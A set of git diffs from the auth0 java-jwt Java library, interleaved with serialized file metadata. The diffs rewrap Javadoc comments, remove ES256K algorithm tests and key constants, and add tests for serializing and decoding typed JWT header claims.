     /**
      * Getter for the Public Key instance with the given Id. Used to verify the signature on the JWT verification stage.
      *
-     * @param keyId the Key Id specified in the Token's Header or null if none is available. Provides a hint on which Public Key to use to verify the token's signature.
+     * @param keyId the Key Id specified in the Token's Header or null if none is available.
+     *              Provides a hint on which Public Key to use to verify the token's signature.
      * @return the Public Key instance
      */
     U getPublicKeyById(String keyId);
@@ -27,7 +28,8 @@ interface KeyProvider<U extends PublicKey, R extends PrivateKey> {
     R getPrivateKey();
 
     /**
-     * Getter for the Id of the Private Key used to sign the tokens. This represents the `kid` claim and will be placed in the Header.
+     * Getter for the Id of the Private Key used to sign the tokens.
+     * This represents the `kid` claim and will be placed in the Header.
      *
      * @return the Key Id that identifies the Private Key or null if it's not specified.
      */u}(jr  (9572387c19cba32f1fa58657af3a746619660f00jlr  <lib/src/main/java/com/auth0/jwt/interfaces/Verification.javajnr  modifiedjfr  Kjgr  Kjpr  Kjqr  https://github.com/auth0/java-jwt/blob/75ee6a33c14697af6c1b18b10c6a3603f0f8d121/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FVerification.javajsr  https://github.com/auth0/java-jwt/raw/75ee6a33c14697af6c1b18b10c6a3603f0f8d121/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FVerification.javajur  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FVerification.java?ref=75ee6a33c14697af6c1b18b10c6a3603f0f8d121jwr  X  @@ -61,7 +61,7 @@ default Verification withIssuer(String issuer) {
      * will have to provide their own implementation.
      *
      * The default implementation throws an {@linkplain UnsupportedOperationException}.
-     * 
+     *
      * @param audience the required Audience value for which the "aud" claim must contain at least one value.
      * @return this same Verification instance.
      */
@@ -70,8 +70,8 @@ default Verification withAnyOfAudience(String... audience) {
     }
     
     /**
-     * Define the default window in seconds in which the Not Before, Issued At and Expires At Claims will still be valid.
-     * Setting a specific leeway value on a given Claim will override this value for that Claim.
+     * Define the default window in seconds in which the Not Before, Issued At and Expires At Claims
+     * will still be valid. Setting a specific leeway value on a given Claim will override this value for that Claim.
      *
      * @param leeway the window in seconds in which the Not Before, Issued At and Expires At Claims will still be valid.
      * @return this same Verification instance.
@@ -81,7 +81,8 @@ default Verification withAnyOfAudience(String... audience) {
 
     /**
      * Set a specific leeway window in seconds in which the Expires At ("exp") Claim will still be valid.
-     * Expiration Date is always verified when the value is present. This method overrides the value set with acceptLeeway
+     * Expiration Date is always verified when the value is present.
+     * This method overrides the value set with acceptLeeway
      *
      * @param leeway the window in seconds in which the Expires At Claim will still be valid.
      * @return this same Verification instance.
@@ -91,7 +92,8 @@ default Verification withAnyOfAudience(String... audience) {
 
     /**
      * Set a specific leeway window in seconds in which the Not Before ("nbf") Claim will still be valid.
-     * Not Before Date is always verified when the value is present. This method overrides the value set with acceptLeeway
+     * Not Before Date is always verified when the value is present.
+     * This method overrides the value set with acceptLeeway
      *
      * @param leeway the window in seconds in which the Not Before Claim will still be valid.
      * @return this same Verification instance.
@@ -102,8 +104,10 @@ default Verification withAnyOfAudience(String... audience) {
     /**
      * Set a specific leeway window in seconds in which the Issued At ("iat") Claim will still be valid.
      * This method overrides the value set with {@link #acceptLeeway(long)}.
-     * By default, the Issued At claim is always verified when the value is present, unless disabled with {@link #ignoreIssuedAt()}.
-     * If Issued At verification has been disabled, no verification of the Issued At claim will be performed, and this method has no effect.
+     * By default, the Issued At claim is always verified when the value is present,
+     * unless disabled with {@link #ignoreIssuedAt()}.
+     * If Issued At verification has been disabled, no verification of the Issued At claim will be performed,
+     * and this method has no effect.
      *
      * @param leeway the window in seconds in which the Issued At Claim will still be valid.
      * @return this same Verification instance.
@@ -121,6 +125,7 @@ default Verification withAnyOfAudience(String... audience) {
 
     /**
      * Require a claim to be present, with any value.
+     *
      * @param name the Claim's name.
      * @return this same Verification instance
      * @throws IllegalArgumentException if the name is null.
@@ -186,8 +191,8 @@ default Verification withAnyOfAudience(String... audience) {
     Verification withClaim(String name, String value) throws IllegalArgumentException;
 
     /**
-     * Require a specific Claim value. Note that date-time claims are serialized as seconds since the epoch; when verifying
-     * date-time claim value, any time units more granular than seconds will not be considered.
+     * Require a specific Claim value. Note that date-time claims are serialized as seconds since the epoch;
+     * when verifying date-time claim value, any time units more granular than seconds will not be considered.
      *
      * @param name  the Claim's name.
      * @param value the Claim's value.
@@ -197,8 +202,8 @@ default Verification withAnyOfAudience(String... audience) {
     Verification withClaim(String name, Date value) throws IllegalArgumentException;
 
     /**
-     * Require a specific Claim value. Note that date-time claims are serialized as seconds since the epoch; when verifying
-     * a date-time claim value, any time units more granular than seconds will not be considered.
+     * Require a specific Claim value. Note that date-time claims are serialized as seconds since the epoch;
+     * when verifying a date-time claim value, any time units more granular than seconds will not be considered.
      *
      * @param name  the Claim's name.
      * @param value the Claim's value.u}(jr  (a1e30e310243c236953ec7875157ce6f550a2834jlr  "lib/src/main/java/module-info.javajnr  modifiedjfr  K jgr  Kjpr  Kjqr  zhttps://github.com/auth0/java-jwt/blob/75ee6a33c14697af6c1b18b10c6a3603f0f8d121/lib%2Fsrc%2Fmain%2Fjava%2Fmodule-info.javajsr  yhttps://github.com/auth0/java-jwt/raw/75ee6a33c14697af6c1b18b10c6a3603f0f8d121/lib%2Fsrc%2Fmain%2Fjava%2Fmodule-info.javajur  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fmodule-info.java?ref=75ee6a33c14697af6c1b18b10c6a3603f0f8d121jwr  X  @@ -1,8 +1,5 @@
 module com.auth0.jwt {
-    // remove transitive in next major release
     requires com.fasterxml.jackson.databind;
-    // remove in next major release
-    exports com.auth0.jwt.impl;
 
     exports com.auth0.jwt;
     exports com.auth0.jwt.algorithms;u}(jr  (a06df7b72f5615086c3919f731b33ac4178ec183jlr  9lib/src/test/java/com/auth0/jwt/ConcurrentVerifyTest.javajnr  modifiedjfr  K jgr  K
jpr  K
jqr  https://github.com/auth0/java-jwt/blob/75ee6a33c14697af6c1b18b10c6a3603f0f8d121/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FConcurrentVerifyTest.javajsr  https://github.com/auth0/java-jwt/raw/75ee6a33c14697af6c1b18b10c6a3603f0f8d121/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FConcurrentVerifyTest.javajur  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FConcurrentVerifyTest.java?ref=75ee6a33c14697af6c1b18b10c6a3603f0f8d121jwr  XP  @@ -28,8 +28,6 @@ public class ConcurrentVerifyTest {
     private static final int REPEAT_COUNT = 1000;
     private static final String PUBLIC_KEY_FILE = "src/test/resources/rsa-public.pem";
     private static final String PUBLIC_KEY_FILE_256 = "src/test/resources/ec256-key-public.pem";
-    private static final String PUBLIC_KEY_FILE_256K = "src/test/resources/ec256k-key-public.pem";
-    private static final String PRIVATE_KEY_FILE_256K = "src/test/resources/ec256k-key-private.pem";
     private static final String PUBLIC_KEY_FILE_384 = "src/test/resources/ec384-key-public.pem";
     private static final String PUBLIC_KEY_FILE_512 = "src/test/resources/ec512-key-public.pem";
 
@@ -145,17 +143,6 @@ public void shouldPassECDSA256VerificationWithJOSESignature() throws Exception {
         concurrentVerify(verifier, token);
     }
     
-    @Test
-    public void shouldPassECDSA256KVerificationWithJOSESignature() throws Exception {
-        String token = "eyJraWQiOiJteS1rZXktaWQiLCJ0eXAiOiJKV1QiLCJhbGciOiJFUzI1NksifQ.eyJpc3MiOiJhdXRoMCJ9.W-AbsnuQ4vqmPftAyQuF09hn3oGn3tN7VGergxyMbK74yEzDV-mLyC3o3fxXrZxcW5h01DM6BckNag7ZcimPjw";
-        ECPublicKey publicKey = (ECPublicKey) readPublicKeyFromFile(PUBLIC_KEY_FILE_256K, "EC");
-        ECPrivateKey privateKey = (ECPrivateKey) readPrivateKeyFromFile(PRIVATE_KEY_FILE_256K, "EC");
-        Algorithm algorithm = Algorithm.ECDSA256K(publicKey, privateKey);
-        JWTVerifier verifier = JWTVerifier.init(algorithm).withIssuer("auth0").build();
-        
-        concurrentVerify(verifier, token);
-    }
-    
     @Test
     public void shouldPassECDSA384VerificationWithJOSESignature() throws Exception {
         String token = "eyJhbGciOiJFUzM4NCJ9.eyJpc3MiOiJhdXRoMCJ9.50UU5VKNdF1wfykY8jQBKpvuHZoe6IZBJm5NvoB8bR-hnRg6ti-CHbmvoRtlLfnHfwITa_8cJMy6TenMC2g63GQHytc8rYoXqbwtS4R0Ko_AXbLFUmfxnGnMC6v4MS_z";u}(jr  (3cccbf7b416a16e5b1de9e7824e37018f011de98jlr  3lib/src/test/java/com/auth0/jwt/JWTCreatorTest.javajnr  modifiedjfr  K"jgr  K)jpr  KKjqr  https://github.com/auth0/java-jwt/blob/75ee6a33c14697af6c1b18b10c6a3603f0f8d121/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreatorTest.javajsr  https://github.com/auth0/java-jwt/raw/75ee6a33c14697af6c1b18b10c6a3603f0f8d121/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreatorTest.javajur  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreatorTest.java?ref=75ee6a33c14697af6c1b18b10c6a3603f0f8d121jwr  X#  @@ -5,7 +5,6 @@
 import com.auth0.jwt.interfaces.ECDSAKeyProvider;
 import com.auth0.jwt.interfaces.RSAKeyProvider;
 import com.fasterxml.jackson.databind.ObjectMapper;
-
 import org.junit.Rule;
 import org.junit.Test;
 import org.junit.rules.ExpectedException;
@@ -16,8 +15,8 @@
 import java.time.Instant;
 import java.util.*;
 
-import static org.hamcrest.Matchers.*;
 import static org.hamcrest.MatcherAssert.assertThat;
+import static org.hamcrest.Matchers.*;
 import static org.mockito.Mockito.mock;
 import static org.mockito.Mockito.when;
 
@@ -26,8 +25,6 @@ public class JWTCreatorTest {
     private static final String PRIVATE_KEY_FILE_RSA = "src/test/resources/rsa-private.pem";
     private static final String PRIVATE_KEY_FILE_EC_256 = "src/test/resources/ec256-key-private.pem";
 
-    private static final String PRIVATE_KEY_FILE_EC_256K = "src/test/resources/ec256k-key-private.pem";
-
     @Rule
     public ExpectedException exception = ExpectedException.none();
 
@@ -39,19 +36,48 @@ public void shouldThrowWhenRequestingSignWithoutAlgorithm() {
                 .sign(null);
     }
 
-    @SuppressWarnings("Convert2Diamond")
     @Test
     public void shouldAddHeaderClaim() {
-        Map<String, Object> header = new HashMap<String, Object>();
-        header.put("asd", 123);
+        Date date = new Date(123000);
+        Instant instant = date.toInstant();
+
+        List<Object> list = Arrays.asList(date, instant);
+        Map<String, Object> map = new HashMap<>();
+        map.put("date", date);
+        map.put("instant", instant);
+
+        List<Object> expectedSerializedList = Arrays.asList(date.getTime() / 1000, instant.getEpochSecond());
+        Map<String, Object> expectedSerializedMap = new HashMap<>();
+        expectedSerializedMap.put("date", date.getTime() / 1000);
+        expectedSerializedMap.put("instant", instant.getEpochSecond());
+
+        Map<String, Object> header = new HashMap<>();
+        header.put("string", "string");
+        header.put("int", 42);
+        header.put("long", 4200000000L);
+        header.put("double", 123.123);
+        header.put("bool", true);
+        header.put("date", date);
+        header.put("instant", instant);
+        header.put("list", list);
+        header.put("map", map);
+
         String signed = JWTCreator.init()
                 .withHeader(header)
                 .sign(Algorithm.HMAC256("secret"));
 
         assertThat(signed, is(notNullValue()));
         String[] parts = signed.split("\\.");
         String headerJson = new String(Base64.getUrlDecoder().decode(parts[0]), StandardCharsets.UTF_8);
-        assertThat(headerJson, JsonMatcher.hasEntry("asd", 123));
+        assertThat(headerJson, JsonMatcher.hasEntry("string", "string"));
+        assertThat(headerJson, JsonMatcher.hasEntry("int", 42));
+        assertThat(headerJson, JsonMatcher.hasEntry("long", 4200000000L));
+        assertThat(headerJson, JsonMatcher.hasEntry("double", 123.123));
+        assertThat(headerJson, JsonMatcher.hasEntry("bool", true));
+        assertThat(headerJson, JsonMatcher.hasEntry("date", 123));
+        assertThat(headerJson, JsonMatcher.hasEntry("instant", 123));
+        assertThat(headerJson, JsonMatcher.hasEntry("list", expectedSerializedList));
+        assertThat(headerJson, JsonMatcher.hasEntry("map", expectedSerializedMap));
     }
 
     @Test
@@ -158,39 +184,6 @@ public void shouldNotOverwriteKeyIdIfAddedFromRSAAlgorithms() throws Exception {
         assertThat(headerJson, JsonMatcher.hasEntry("kid", "my-key-id"));
     }
 
-    @Test
-    public void shouldAddKeyIdIfAvailableFromECDSAKAlgorithms() throws Exception {
-        ECPrivateKey privateKey = (ECPrivateKey) PemUtils.readPrivateKeyFromFile(PRIVATE_KEY_FILE_EC_256K, "EC");
-        ECDSAKeyProvider provider = mock(ECDSAKeyProvider.class);
-        when(provider.getPrivateKeyId()).thenReturn("my-key-id");
-        when(provider.getPrivateKey()).thenReturn(privateKey);
-
-        String signed = JWTCreator.init()
-                .sign(Algorithm.ECDSA256K(provider));
-
-        assertThat(signed, is(notNullValue()));
-        String[] parts = signed.split("\\.");
-        String headerJson = new String(Base64.getUrlDecoder().decode(parts[0]), StandardCharsets.UTF_8);
-        assertThat(headerJson, JsonMatcher.hasEntry("kid", "my-key-id"));
-    }
-
-    @Test
-    public void shouldNotOverwriteKeyIdIfAddedFromECDSAKAlgorithms() throws Exception {
-        ECPrivateKey privateKey = (ECPrivateKey) PemUtils.readPrivateKeyFromFile(PRIVATE_KEY_FILE_EC_256K, "EC");
-        ECDSAKeyProvider provider = mock(ECDSAKeyProvider.class);
-        when(provider.getPrivateKeyId()).thenReturn("my-key-id");
-        when(provider.getPrivateKey()).thenReturn(privateKey);
-
-        String signed = JWTCreator.init()
-                .withKeyId("real-key-id")
-                .sign(Algorithm.ECDSA256(provider));
-
-        assertThat(signed, is(notNullValue()));
-        String[] parts = signed.split("\\.");
-        String headerJson = new String(Base64.getUrlDecoder().decode(parts[0]), StandardCharsets.UTF_8);
-        assertThat(headerJson, JsonMatcher.hasEntry("kid", "my-key-id"));
-    }
-
     @Test
     public void shouldAddKeyIdIfAvailableFromECDSAAlgorithms() throws Exception {
         ECPrivateKey privateKey = (ECPrivateKey) PemUtils.readPrivateKeyFromFile(PRIVATE_KEY_FILE_EC_256, "EC");u     }(jr  (5ea2b4ef97f449b76b80de023a9fc7d6cda8f759jlr  3lib/src/test/java/com/auth0/jwt/JWTDecoderTest.javajnr  modifiedjfr  Kjgr  K jpr  Kjqr  https://github.com/auth0/java-jwt/blob/75ee6a33c14697af6c1b18b10c6a3603f0f8d121/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTDecoderTest.javajsr  https://github.com/auth0/java-jwt/raw/75ee6a33c14697af6c1b18b10c6a3603f0f8d121/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTDecoderTest.javajur  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTDecoderTest.java?ref=75ee6a33c14697af6c1b18b10c6a3603f0f8d121jwr  X  @@ -14,6 +14,7 @@
 import java.time.Instant;
 import java.util.Base64;
 import java.util.Date;
+import java.util.List;
 import java.util.Map;
 
 import static org.hamcrest.MatcherAssert.assertThat;
@@ -362,6 +363,35 @@ public void shouldSerializeAndDeserialize() throws Exception {
                 is(equalTo(deserializedJwt.getClaims().get("extraClaim").asString())));
     }
 
+    @Test
+    public void shouldDecodeHeaderClaims() {
+        String jwt = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImRhdGUiOjE2NDczNTgzMjUsInN0cmluZyI6InN0cmluZyIsImJvb2wiOnRydWUsImRvdWJsZSI6MTIzLjEyMywibGlzdCI6WzE2NDczNTgzMjVdLCJtYXAiOnsiZGF0ZSI6MTY0NzM1ODMyNSwiaW5zdGFudCI6MTY0NzM1ODMyNX0sImludCI6NDIsImxvbmciOjQyMDAwMDAwMDAsImluc3RhbnQiOjE2NDczNTgzMjV9.eyJpYXQiOjE2NDczNjA4ODF9.S2nZDM03ZDvLMeJLWOIqWZ9kmYHZUueyQiIZCCjYNL8";
+
+        Instant expectedInstant = Instant.ofEpochSecond(1647358325);
+        Date expectedDate = Date.from(expectedInstant);
+
+        DecodedJWT decoded = JWT.decode(jwt);
+        assertThat(decoded, is(notNullValue()));
+        assertThat(decoded.getHeaderClaim("date").asDate(), is(expectedDate));
+        assertThat(decoded.getHeaderClaim("instant").asInstant(), is(expectedInstant));
+        assertThat(decoded.getHeaderClaim("string").asString(), is("string"));
+        assertThat(decoded.getHeaderClaim("bool").asBoolean(), is(true));
+        assertThat(decoded.getHeaderClaim("double").asDouble(), is(123.123));
+        assertThat(decoded.getHeaderClaim("int").asInt(), is(42));
+        assertThat(decoded.getHeaderClaim("long").asLong(), is(4200000000L));
+
+        Map<String, Object> headerMap = decoded.getHeaderClaim("map").asMap();
+        assertThat(headerMap, is(notNullValue()));
+        assertThat(headerMap.size(), is(2));
+        assertThat(headerMap, hasEntry("date", 1647358325));
+        assertThat(headerMap, hasEntry("instant", 1647358325));
+
+        List<Object> headerList = decoded.getHeaderClaim("list").asList(Object.class);
+        assertThat(headerList, is(notNullValue()));
+        assertThat(headerList.size(), is(1));
+        assertThat(headerList, contains(1647358325));
+    }
+
     //Helper Methods
 
     private DecodedJWT customJWT(String jsonHeader, String jsonPayload, String signature) {u}(jr  (958e89fb4ce946054d7323dcec96ba266aa09e68jlr  ,lib/src/test/java/com/auth0/jwt/JWTTest.javajnr  modifiedjfr  K jgr  Kjpr  Kjqr  https://github.com/auth0/java-jwt/blob/75ee6a33c14697af6c1b18b10c6a3603f0f8d121/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTTest.javajsr  https://github.com/auth0/java-jwt/raw/75ee6a33c14697af6c1b18b10c6a3603f0f8d121/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTTest.javajur  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTTest.java?ref=75ee6a33c14697af6c1b18b10c6a3603f0f8d121jwr  X 	  @@ -28,11 +28,9 @@ public class JWTTest {
     private static final String PRIVATE_KEY_FILE_RSA = "src/test/resources/rsa-private.pem";
 
     private static final String PUBLIC_KEY_FILE_EC_256 = "src/test/resources/ec256-key-public.pem";
-    private static final String PUBLIC_KEY_FILE_EC_256K = "src/test/resources/ec256k-key-public.pem";
     private static final String PUBLIC_KEY_FILE_EC_384 = "src/test/resources/ec384-key-public.pem";
     private static final String PUBLIC_KEY_FILE_EC_512 = "src/test/resources/ec512-key-public.pem";
     private static final String PRIVATE_KEY_FILE_EC_256 = "src/test/resources/ec256-key-private.pem";
-    private static final String PRIVATE_KEY_FILE_EC_256K = "src/test/resources/ec256k-key-private.pem";
     private static final String PRIVATE_KEY_FILE_EC_384 = "src/test/resources/ec384-key-private.pem";
     private static final String PRIVATE_KEY_FILE_EC_512 = "src/test/resources/ec512-key-private.pem";
 
@@ -493,25 +491,6 @@ public void shouldCreateAnEmptyECDSA256SignedToken() throws Exception {
         assertThat(verified, is(notNullValue()));
     }
 
-    @Test
-    public void shouldCreateAnEmptyECDSA256KSignedToken() throws Exception {
-        ECPublicKey publicKey = (ECPublicKey) PemUtils.readPublicKeyFromFile(PUBLIC_KEY_FILE_EC_256K, "EC");
-        ECPrivateKey privateKey = (ECPrivateKey) PemUtils.readPrivateKeyFromFile(PRIVATE_KEY_FILE_EC_256K, "EC");
-
-        String signed = JWT.create().sign(Algorithm.ECDSA256K(publicKey, privateKey));
-        assertThat(signed, is(notNullValue()));
-
-        String[] parts = signed.split("\\.");
-        String headerJson = new String(Base64.getUrlDecoder().decode(parts[0]), StandardCharsets.UTF_8);
-        assertThat(headerJson, JsonMatcher.hasEntry("alg", "ES256K"));
-        assertThat(headerJson, JsonMatcher.hasEntry("typ", "JWT"));
-        assertThat(parts[1], is("e30"));
-
-        JWTVerifier verified = JWT.require(Algorithm.ECDSA256K(publicKey, privateKey))
-                .build();
-        assertThat(verified, is(notNullValue()));
-    }
-
     @Test
     public void shouldCreateAnEmptyECDSA384SignedToken() throws Exception {
         String signed = JWT.create().sign(Algorithm.ECDSA384((ECKey) PemUtils.readPrivateKeyFromFile(PRIVATE_KEY_FILE_EC_384, "EC")));u}(jr  (e09661d3dc62b9fda10c178faa645e4531c68b1cjlr  =lib/src/test/java/com/auth0/jwt/algorithms/AlgorithmTest.javajnr  modifiedjfr  K jgr  Kjpr  Kjqr  https://github.com/auth0/java-jwt/blob/75ee6a33c14697af6c1b18b10c6a3603f0f8d121/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FAlgorithmTest.javajsr  https://github.com/auth0/java-jwt/raw/75ee6a33c14697af6c1b18b10c6a3603f0f8d121/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FAlgorithmTest.javajur  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FAlgorithmTest.java?ref=75ee6a33c14697af6c1b18b10c6a3603f0f8d121jwr  X  @@ -450,29 +450,6 @@ public void shouldCreateECDSA256AlgorithmWithProvider() {
         assertThat(algorithm.getName(), is("ES256"));
     }
 
-    @Test
-    public void shouldCreateECDSA256KAlgorithmWithBothKeys() {
-        ECPublicKey publicKey = mock(ECPublicKey.class);
-        ECPrivateKey privateKey = mock(ECPrivateKey.class);
-        Algorithm algorithm = Algorithm.ECDSA256K(publicKey, privateKey);
-
-        assertThat(algorithm, is(notNullValue()));
-        assertThat(algorithm, is(instanceOf(ECDSAAlgorithm.class)));
-        assertThat(algorithm.getDescription(), is("SHA256withECDSA"));
-        assertThat(algorithm.getName(), is("ES256K"));
-    }
-
-    @Test
-    public void shouldCreateECDSA256KAlgorithmWithProvider() {
-        ECDSAKeyProvider provider = mock(ECDSAKeyProvider.class);
-        Algorithm algorithm = Algorithm.ECDSA256K(provider);
-
-        assertThat(algorithm, is(notNullValue()));
-        assertThat(algorithm, is(instanceOf(ECDSAAlgorithm.class)));
-        assertThat(algorithm.getDescription(), is("SHA256withECDSA"));
-        assertThat(algorithm.getName(), is("ES256K"));
-    }
-
     @Test
     public void shouldCreateECDSA384AlgorithmWithPublicKey() {
         ECKey key = mock(ECKey.class, withSettings().extraInterfaces(ECPublicKey.class));u}(jr  (8634d419904f165beba8d1d6fa92d2afdff1aae3jlr  Blib/src/test/java/com/auth0/jwt/algorithms/ECDSAAlgorithmTest.javajnr  modifiedjfr  Kjgr  Kojpr  Kpjqr  https://github.com/auth0/java-jwt/blob/75ee6a33c14697af6c1b18b10c6a3603f0f8d121/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSAAlgorithmTest.javajsr  https://github.com/auth0/java-jwt/raw/75ee6a33c14697af6c1b18b10c6a3603f0f8d121/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSAAlgorithmTest.javajur  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSAAlgorithmTest.java?ref=75ee6a33c14697af6c1b18b10c6a3603f0f8d121jwr  XO  @@ -39,11 +39,6 @@ public class ECDSAAlgorithmTest {
     private static final String PUBLIC_KEY_FILE_256 = "src/test/resources/ec256-key-public.pem";
     private static final String INVALID_PUBLIC_KEY_FILE_256 = "src/test/resources/ec256-key-public-invalid.pem";
     
-    private static final String PRIVATE_KEY_FILE_256K = "src/test/resources/ec256k-key-private.pem";
-    private static final String PUBLIC_KEY_FILE_256K = "src/test/resources/ec256k-key-public.pem";
-    private static final String INVALID_PUBLIC_KEY_FILE_256K = "src/test/resources/ec256k-key-public-invalid.pem";
-    private static final String ES256K_JWT = "eyJraWQiOiJteS1rZXktaWQiLCJ0eXAiOiJKV1QiLCJhbGciOiJFUzI1NksifQ.e30.2ggPsc4xwQhYcgJueo3uQ14MpaVJ3AbEE8UE-wA9fc8SMibeW54gjZbikL-JBHqhEwc22Cp8DNOtadXsM81RGQ";
-    
     private static final String PRIVATE_KEY_FILE_384 = "src/test/resources/ec384-key-private.pem";
     private static final String PUBLIC_KEY_FILE_384 = "src/test/resources/ec384-key-public.pem";
     private static final String INVALID_PUBLIC_KEY_FILE_384 = "src/test/resources/ec384-key-public-invalid.pem";
@@ -186,112 +181,7 @@ public void shouldFailECDSA256VerificationOnInvalidDERSignature() throws Excepti
         Algorithm algorithm = Algorithm.ECDSA256((ECKey) readPublicKeyFromFile(INVALID_PUBLIC_KEY_FILE_256, "EC"));
         algorithm.verify(JWT.decode(jwt));
     }
-    
-    @Test
-    public void shouldPassECDSA256KVerificationWithJOSESignature() throws Exception {
-        ECPublicKey key = (ECPublicKey) readPublicKeyFromFile(PUBLIC_KEY_FILE_256K, "EC");
-        Algorithm algorithm = Algorithm.ECDSA256K(key, null);
-        algorithm.verify(JWT.decode(ES256K_JWT));
-    }
-    
-    @Test
-    public void shouldThrowOnECDSA256KVerificationWithDERSignature() throws Exception {
-        exception.expect(SignatureVerificationException.class);
-        exception.expectMessage("The Token's Signature resulted invalid when verified using the Algorithm: SHA256withECDSA");
-        exception.expectCause(isA(SignatureException.class));
-        exception.expectCause(hasMessage(is("Invalid JOSE signature format.")));
-    
-        String jwt = "eyJraWQiOiJteS1rZXktaWQiLCJ0eXAiOiJKV1QiLCJhbGciOiJFUzI1NksifQ.e30.MEUCIQDaCA-xzjHBCFhyAm56je5DXgylpUncBsQTxQT7AD19zwIgEjIm3lueII2W4pC_iQR6oRMHNtgqfAzTrWnV7DPNURk";
-        
-        ECPublicKey key = (ECPublicKey) readPublicKeyFromFile(PUBLIC_KEY_FILE_256K, "EC");
-        Algorithm algorithm = Algorithm.ECDSA256K(key, null);
-        algorithm.verify(JWT.decode(jwt));
-    }
-    
-    @Test
-    public void shouldPassECDSA256KVerificationWithJOSESignatureWithBothKeys() throws Exception {
-        Algorithm algorithm = Algorithm.ECDSA256K((ECPublicKey) readPublicKeyFromFile(PUBLIC_KEY_FILE_256K, "EC")
-                , (ECPrivateKey) readPrivateKeyFromFile(PRIVATE_KEY_FILE_256K, "EC"));
-        algorithm.verify(JWT.decode(ES256K_JWT));
-    }
-    
-    @Test
-    public void shouldPassECDSA256KVerificationWithProvidedPublicKey() throws Exception {
-        ECDSAKeyProvider provider = mock(ECDSAKeyProvider.class);
-        PublicKey publicKey = readPublicKeyFromFile(PUBLIC_KEY_FILE_256K, "EC");
-        when(provider.getPublicKeyById("my-key-id")).thenReturn((ECPublicKey) publicKey);
-        Algorithm algorithm = Algorithm.ECDSA256K(provider);
-        algorithm.verify(JWT.decode(ES256K_JWT));
-    }
-    
-    @Test
-    public void shouldFailECDSA256KVerificationWhenProvidedPublicKeyIsNull() {
-        exception.expect(SignatureVerificationException.class);
-        exception.expectMessage("The Token's Signature resulted invalid when verified using the Algorithm: SHA256withECDSA");
-        exception.expectCause(isA(IllegalStateException.class));
-        exception.expectCause(hasMessage(is("The given Public Key is null.")));
-        ECDSAKeyProvider provider = mock(ECDSAKeyProvider.class);
-        when(provider.getPublicKeyById("my-key-id")).thenReturn(null);
-        Algorithm algorithm = Algorithm.ECDSA256K(provider);
-        algorithm.verify(JWT.decode(ES256K_JWT));
-    }
-    
-    @Test
-    public void shouldFailECDSA256KVerificationWithInvalidPublicKey() throws Exception {
-        exception.expect(SignatureVerificationException.class);
-        exception.expectMessage("The Token's Signature resulted invalid when verified using the Algorithm: SHA256withECDSA");
-        Algorithm algorithm = Algorithm.ECDSA256K((ECPublicKey) readPublicKeyFromFile(INVALID_PUBLIC_KEY_FILE_256K, "EC"), null);
-        algorithm.verify(JWT.decode(ES256K_JWT));
-    }
-    
-    @Test
-    public void shouldFailECDSA256KVerificationWhenUsingPrivateKey() throws Exception {
-        exception.expect(SignatureVerificationException.class);
-        exception.expectMessage("The Token's Signature resulted invalid when verified using the Algorithm: SHA256withECDSA");
-        exception.expectCause(isA(IllegalStateException.class));
-        exception.expectCause(hasMessage(is("The given Public Key is null.")));
-        Algorithm algorithm = Algorithm.ECDSA256K(null, (ECPrivateKey) readPrivateKeyFromFile(PRIVATE_KEY_FILE_256K, "EC"));
-        algorithm.verify(JWT.decode(ES256K_JWT));
-    }
-    
-    @Test
-    public void shouldFailECDSA256KVerificationOnInvalidJOSESignatureLength() throws Exception {
-        exception.expect(SignatureVerificationException.class);
-        exception.expectMessage("The Token's Signature resulted invalid when verified using the Algorithm: SHA256withECDSA");
-        exception.expectCause(isA(IllegalArgumentException.class));
-        exception.expectCause(hasMessage(is("Last unit does not have enough valid bits")));
-        
-        String jwt = ES256K_JWT.substring(0,ES256K_JWT.length()-1);
-        Algorithm algorithm = Algorithm.ECDSA256K((ECPublicKey) readPublicKeyFromFile(INVALID_PUBLIC_KEY_FILE_256K, "EC"), null);
-        algorithm.verify(JWT.decode(jwt));
-    }
-    
-    @Test
-    public void shouldFailECDSA256KVerificationOnInvalidJOSESignature() throws Exception {
-        exception.expect(SignatureVerificationException.class);
-        exception.expectMessage("The Token's Signature resulted invalid when verified using the Algorithm: SHA256withECDSA");
-        
